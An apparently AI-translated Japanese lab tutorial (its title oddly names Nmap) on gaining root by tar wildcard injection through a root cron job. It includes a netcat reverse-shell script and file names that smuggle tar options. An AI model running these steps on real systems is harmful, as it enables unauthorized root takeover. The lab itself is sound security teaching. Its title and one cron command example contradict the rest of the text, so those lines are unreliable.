Nmap でのワイルドカードインジェクションによる特権昇格

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びます。具体的には、広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行います。


Skills Graph

ワイルドカードの理解

まず、ワイルドカードとは何か、および Linux シェルでどのように動作するかを理解しましょう。ワイルドカードは、ファイル名やパスのセットを表すか、またはそれらに一致させるために使用できる特殊文字または文字シーケンスです。

以下はいくつかの一般的なワイルドカードです。

  • *(アスタリスク)は、ファイル名またはパス内の任意の数の文字(0 文字を含む)に一致します。
  • ?(疑問符)は、任意の 1 文字に一致します。
  • [](角括弧)は、括弧内に指定された文字セット内の任意の 1 文字に一致します。
  • ~(チルダ)は、現在のユーザーのホームディレクトリを表します。ユーザー名が続く場合は、別のユーザーのホームディレクトリを表します。

権限昇格の文脈では、*- のワイルドカードが一般的に使用されます。まず、シェルが - 文字をどのように解釈するかを探ってみましょう。

  1. ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  2. 現在のディレクトリには --help という名前のファイルがあります。このファイルの内容をどのように表示できるかを考え、実験してみてください。

    cat --help コマンドを使用すると、--help ファイルの内容を表示する代わりに、cat コマンドのヘルプメッセージが表示されます。

    同様に、vim --help を使用すると、vim コマンドのヘルプメッセージが表示されます。

    これは、Linux シェルが - をコマンド引数として解釈するためです。

  3. --help ファイルの内容を表示するには、ファイル名を - で始めないようにする必要があります。次のように使用できます。

    cat /home/labex/project/--help

    この方法では、シェルは --help を引数として解釈しないため、ファイルの内容を表示できます。

  4. 次に、好きなエディタを使用して --help ファイルの内容を変更しましょう。たとえば、nano を使用できます。

    nano /home/labex/project/--help

    既存の内容を削除し、次のテキストをファイルに追加します。

    I can read the file

    nano を保存して終了します。

このシェルの動作が、ワイルドカードインジェクションが利用するものです。

ワイルドカードインジェクションは、多くの場合 cron ジョブと組み合わせて使用されます。では、tar コマンドを含む実際の例を探ってみましょう。

Crontab と tar を用いたワイルドカードインジェクション

ワイルドカードインジェクションがどのようにして権限昇格につながるかを理解するために、tar コマンドと crontab を使った実践的な演習を行います。

  1. まず、次のコマンドを実行して実験環境を初期化しましょう。

    /home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    セットアップスクリプトを実行して実験環境を初期化します。

    ./env_setup.sh

    初期化後、user001 ユーザーに切り替わります(最初のシェルアクセスを獲得した攻撃者をシミュレートしています)。

  2. 次に、スケジュールされたタスクの crontab を確認しましょう。

    cat /etc/crontab

    期待される出力:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *

    1 分ごとに実行されるタスクがあり、/var/www/html/ ディレクトリの内容を圧縮ファイル /var/backups/html.tgz にアーカイブすることがわかります。

  3. 次に、/var/www/html ディレクトリ内のファイルを見てみましょう。

    ls /var/www/html

    ワイルドカードインジェクションの脆弱性を利用するには、/var/www/html/ ディレクトリに以下の 3 つのファイルを作成する必要があります。

    まず、/var/www/html ディレクトリに移動します。

    cd /var/www/html/
    • リバースシェルを実行する内容の shell.sh ファイル:

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
    • --checkpoint-action=exec=sh shell.sh という名前のファイル(ファイル名にスペースがあることに注意):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
    • --checkpoint=1 という名前のファイル:

      echo "" > --checkpoint=1

    これらのファイルを作成した後、/var/www/html/ ディレクトリは次のようになります。

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
  4. cron ジョブが次のコマンドを実行するとき:

    tar -zcf /var/backups/html.tgz /var/www/html/*

    これは次のように解釈されます。

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

    ここで、パラメータの意味を説明します。

    • --checkpoint--checkpoint-action は通常一緒に使用されます。前者はチェックポイントを設定し、後者はチェックポイントに到達したときに実行するアクションを指定します。
    • --checkpoint-action=exec=sh shell.sh は、チェックポイントに到達したときに shell.sh スクリプトが実行されることを意味します。

    したがって、cron ジョブが実行されるたびに、shell.sh スクリプトが実行され、/bin/bash がローカルポート 4444 にリバースシェル接続します。

  5. 現在のシェルでローカルポート 4444 でリスナーを設定しましょう。

    nc -lnvp 4444

    しばらく待つと、cron ジョブが実行され、root 権限でリバースシェルを受け取るはずです。

    期待される出力:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226

    /root ディレクトリに success.txt ファイルを作成して、root 権限を持っていることを確認してみましょう。

    touch /root/success.txt

    何の権限エラーもなくファイルを作成できれば、ワイルドカードインジェクションを使って権限昇格に成功したことになります。

この tar + crontab を用いた権限昇格手法には 2 つの重要な制限があります。

  1. html ディレクトリには「その他」のユーザーに対する書き込み (w) 権限が必要です。そうすることで、そのディレクトリに shell.sh などのファイルを作成できます。

  2. crontab 内の tar コマンドには絶対パスを含めないようにします。たとえば、crontab エントリが次のようになっている場合:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

    ワイルドカードインジェクションは失敗します。なぜなら、シェルはこのコマンドを次のように解釈するからです。

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

    この場合、/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.shtar コマンドの引数として解釈されず、インジェクションは失敗します。

まとめ

この実験では、Linux システムでの権限昇格に使用される手法であるワイルドカードインジェクションについて学びました。広く使用されている tar コマンドにおけるワイルドカードインジェクションの原理を探り、crontab ユーティリティと組み合わせてこの脆弱性を利用して root 権限を取得する実践的な演習を行いました。この実験を通じて、実際の権限昇格の脆弱性を理解し、悪用する実践的な経験を積むことができました。これは、セキュリティ専門家やシステム管理者にとって不可欠なスキルです。